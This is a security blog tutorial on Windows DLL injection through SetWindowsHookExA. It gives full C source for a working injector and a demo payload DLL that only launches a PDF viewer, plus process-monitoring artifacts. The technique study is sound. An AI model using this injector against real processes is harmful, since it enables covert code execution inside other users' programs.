Reinventing the wheel: DLL Injection via SetWindowsHookExA
In this post I’m implementing DLL injection via SetWindowsExA. This is my second post on the DLL Injection topic, following the first I authored on DLL Injection via CreateRemoteThread [1]. Motive behind this is Ashkan Hosseini’s blog about process injection techniques [2]. Of course, my implementation is not something new. It’s is just an imitation of other implementations like one found on rohitab.com [3].
Index:
- High Level Mechanics
- DLL Injection API Mechanics
- What this PoC brings
- Execution Artifacts
- Observations
- The Implementation
- References
High Level Mechanics
Before delving into the API details and the core of the implementation, let’s give an overview of this technique.
DLL injection is an approach to inject code into a live process. The technique is documented as T1055 in the MITRE ATT&CK framework [4].
In this post DLL injection via SetWindowsHookExA is discussed. It involves a malware process that loads the DLL payload and installs a hook in a target process. The hook then monitors for a specific event (for example a keyboard press) in the target process and once this event occurs, the payload DLL is executed. We assume the payload DLL already exists on disk.
DLL Injection API Mechanics
In order to implement the DLL Injection, we need to utilize the following APIs:
- LoadLibrary to load they payload DLL into the malware process
- GetProcAddress to get the address of the exported function the payload exports
- GetWindowThreadProcessId to get the thread ID of the target process
- SetWindowsHookExA to install an application hook in the target process and monitor for specific event
- PostMessage to post a message in the message queue associated with the thread that created the window
- UnhookWindowsHookEx remove the hook procedure installed by SetWindowsHookExA
What this PoC brings
The tool I’m introducing - can be considered as the malware process - scans for active windows and prints the handle for each (flag/option -lw/–list-windows). This functionality is based off of publicly available code that utilizes EnumWindows [5]. The user can specify the handle of the window the target process created (-wh/–window-handle) as well as the payload to be injected into the target process (-d/–d-path).
The malware process remains active until the payload gets loaded and executed in the target process. As such, the malware process monitors the running processes in order to check if the payload has been executed. If the payload process is in running state, the malware process ends.
The payload DLL is set to execute a process instance of Sumatra PDF viewer, a benign application I used in my previous posts.
The tool I’m introducing has the following menu:
SYNOPSIS
dll_injection.exe -p process_name -d dll_name
DESCRIPTION
Application to inject a DLL into a given process using SetWindowsHookExA
OPTIONS
-h, --help
display this help and exit
-lw, --list-windows
display the active Windows with their Handles
-d, --dll-path
Specify the DLL that will be injected into the victim process
-wh, --window-handle
Specify the handle of the Window into which we want to inject
Execution Artifacts
It’s beneficial to inspect the behavior of this injector. For this, I’m using two of the beloved Systinternals tools:
- Process Explorer (aka procexp64.exe) to check parent-child process relationship and check the DLLs mapped into the process
- Process Monitor (aka Procmon.exe) to monitor the load of the payload DLL
First, we need to get the handles of the active windows in order to target a process in which the payload DLL will be injected and eventually executed. notepad.exe is the chosen victim:
In the following examples, the payload DLL is called calc_poc.dll (as it was initially designed to launch a calculator).
Artifacts in Process Explorer
In Process Explorer the following parent-child relationship is recorded:
Artifacts in Process Monitor
In Process Monitor the following events are recorded during the launch of the process caused by the payload DLL:
Observations
After running a few tests with this tool, I made the following observation(s):
- The payload DLL is loaded into the target process as soon as a keyboard event occurs and it’s unloaded as soons as the malware process ends
- When the payload DLL launches the given process, this process is launched however no window is created
- The process that the payload DLL launches (Sumatra PDF viewer in this case) does not allow two instances of the same process to be active at the same time. If the payload DLL launches a process like notepad.exe (which allows multiple instances to be active at the same time), as soon as a keyboard press occurs the process is launced twice
The implementation
In this section you can find the implementation of the injector and the code for the payload DLL.
Payload DLL
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#define DllExport __declspec(dllexport)
DllExport void __stdcall SpawnProcess(void)
{
WinExec("C:\\Users\\test\\Desktop\\SumatraPDF-3.2-64\\SumatraPortable3.2.exe", 0);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
break;
}
return 1;
}
Injector
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <string>
#include <iostream>
#include <psapi.h>
using namespace std;
BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
// function that prints Windows and their handles
DWORD dwThreadId, dwProcessId;
HINSTANCE hInstance;
char title[255];
char modulefilename[255];
HANDLE hProcess;
if (!hWnd)
return TRUE; // Not a window
if (!::IsWindowVisible(hWnd))
return TRUE; // Not visible
if (!SendMessage(hWnd, WM_GETTEXT, sizeof(title), (LPARAM)title))
return TRUE; // No window title
hInstance = (HINSTANCE)GetWindowLong(hWnd, -6);
dwThreadId = GetWindowThreadProcessId(hWnd, &dwProcessId);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
// GetModuleFileNameEx uses psapi, which works for NT only!
if (GetModuleFileNameEx(hProcess, hInstance, modulefilename, sizeof(modulefilename)))
printf("Window Handle: %p, Title: %s, ModuleFilename: %s, GetWindowThreadProcessId: %d\n", hWnd, title, modulefilename, dwThreadId);
else
printf("Handle: %p, Title: %s, ModuleFilename: empty\n", hWnd, title);
CloseHandle(hProcess);
return TRUE;
}
BOOL process_check()
{
HANDLE hProcessSnap;
PROCESSENTRY32 pe32;
// take a snapshot of all processes in the system
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("[-] CreateToolhelp32Snaphost has failed!");
return FALSE;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32))
{
printf("[-] Process32First has failed!");
CloseHandle(hProcessSnap);
return FALSE;
}
do
{
if (strcmp(pe32.szExeFile, "SumatraPortable3.2.exe") == 0)
{
return FALSE;
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return TRUE;
}
BOOL InjectDLL(HWND hWindow, LPCSTR lpFileName)
{
// load the DLL in the injector without calling the DllMain
HMODULE hModule = LoadLibraryEx(lpFileName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hModule == NULL)
{
printf("[-] LoadLibraryExA has failed: %d\n", GetLastError());
return 1;
}
// get the exported fucntion from the payload DLL
HOOKPROC pExportFunction = (HOOKPROC)GetProcAddress(hModule, MAKEINTRESOURCE(1));
if (pExportFunction == NULL)
{
printf("[-] GetProcAddress has failed: %d\n", GetLastError());
return 1;
}
DWORD pid = 0;
DWORD dwThreadId = GetWindowThreadProcessId(hWindow, &pid);
HHOOK hHooked = SetWindowsHookExA(WH_KEYBOARD, pExportFunction, hModule, dwThreadId);
if (hHooked == NULL)
{
printf("[-] SetWindowsHookExA has failed: %d\n", GetLastError());
return 1;
}
if ( !PostMessage(hWindow, WM_NULL, NULL, NULL))
{
printf("[-] PostThreadMessage has failed: %d\n", GetLastError());
return 1;
}
BOOL status = FALSE;
do
{
// do until the payload creates the specified process
status = process_check();
} while (status);
if (!UnhookWindowsHookEx(hHooked))
{
printf("[-] UnhookWindowsHookEx has failed: %d\n", GetLastError());
return 1;
}
return 0;
}
void menu()
{
printf("SYNOPSIS\n");
printf("\tdll_injection.exe -p process_name -d dll_name\n\n");
printf("DESCRIPTION\n");
printf("\tApplication to inject a DLL into a given process using SetWindowsHookExA\n\n");
printf("OPTIONS\n");
printf("\t-h, --help\n");
printf("\t\tdisplay this help and exit\n");
printf("\t-lw, --list-windows\n");
printf("\t\tdisplay the active Windows with their Handles\n");
printf("\t-p, --process-name\n");
printf("\t\tSpecify the target/victim process\n");
printf("\t-d, --dll-path\n");
printf("\t\tSpecify the DLL that will be injected into the victim process\n");
printf("\t-wh, --window-handle\n");
printf("\t\tSpecify the handle of the Window into which we want to inject\n");
}
int main(int argc, char** argv)
{
BOOL lset = FALSE, pset = FALSE, dset = FALSE, whset = FALSE;
BOOL ProcessTokenAcquired = FALSE;
std::string PName, DLLPath;
HWND hWindow = NULL;
printf("[+] Program started...\n");
for (int i = 1; i < argc; i++)
{
std::string s = argv[i];
// display help menu and exit
if (!s.compare("-h") || !s.compare("--help")) menu();
// print active Windows and Handles
if (!s.compare("-lw") || !s.compare("--list-windows"))
{
lset = TRUE;
printf("[+] List of active Windows:\n");
EnumWindows(EnumWindowsProc, NULL);
return 0;
}
/// check if the process name has been specified
if (!s.compare("-p") || !s.compare("--process-name"))
{
// debug
//printf("[+] input process-name: %s\n", argv[i+1]);
PName = argv[i + 1];
pset = TRUE;
}
// check if the DLL path has been specified
if (!s.compare("-d") || !s.compare("--dll-path"))
{
// debug
//printf("[+] input DLL-path: %s\n", argv[i+1]);
DLLPath = argv[i + 1];
dset = TRUE;
}
if (!s.compare("-wh") || !s.compare("--window-handle"))
{
hWindow = (HWND)strtol(argv[i + 1], NULL, 16);
whset = TRUE;
}
}
if (!((!(pset && dset && whset) && (lset)) || ((pset && dset && whset) && !(lset))))
{
printf("[-] You haven't specified a process name, a DLL path and a Window handle.\n");
printf("[-] You need to specify either the list option(-lw) or process name, dll name and the windows handle flags (-p, -d, -wh)\n");
printf("[-] Exiting...\n");
return 1;
}
printf("[+] Application will run until the payload gets executed\n");
// call inject DLL
if (!InjectDLL(hWindow, DLLPath.c_str()))
printf("[+] Successful injection occurred!\n");
else
printf("[-] Inject has failed\n");
return 0;
}
References
[1] https://stmxcsr.com/tutorials/dll-injection-createremotethread.html
[2] https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
[3] http://www.rohitab.com/discuss/topic/43926-setwindowshookex-dll-injection-my-code-and-some-questions/
[4] https://attack.mitre.org/techniques/T1055/
[5] http://simplesamples.info/SimpleSamples/Windows/EnumWindows.aspx
tags: #Windows API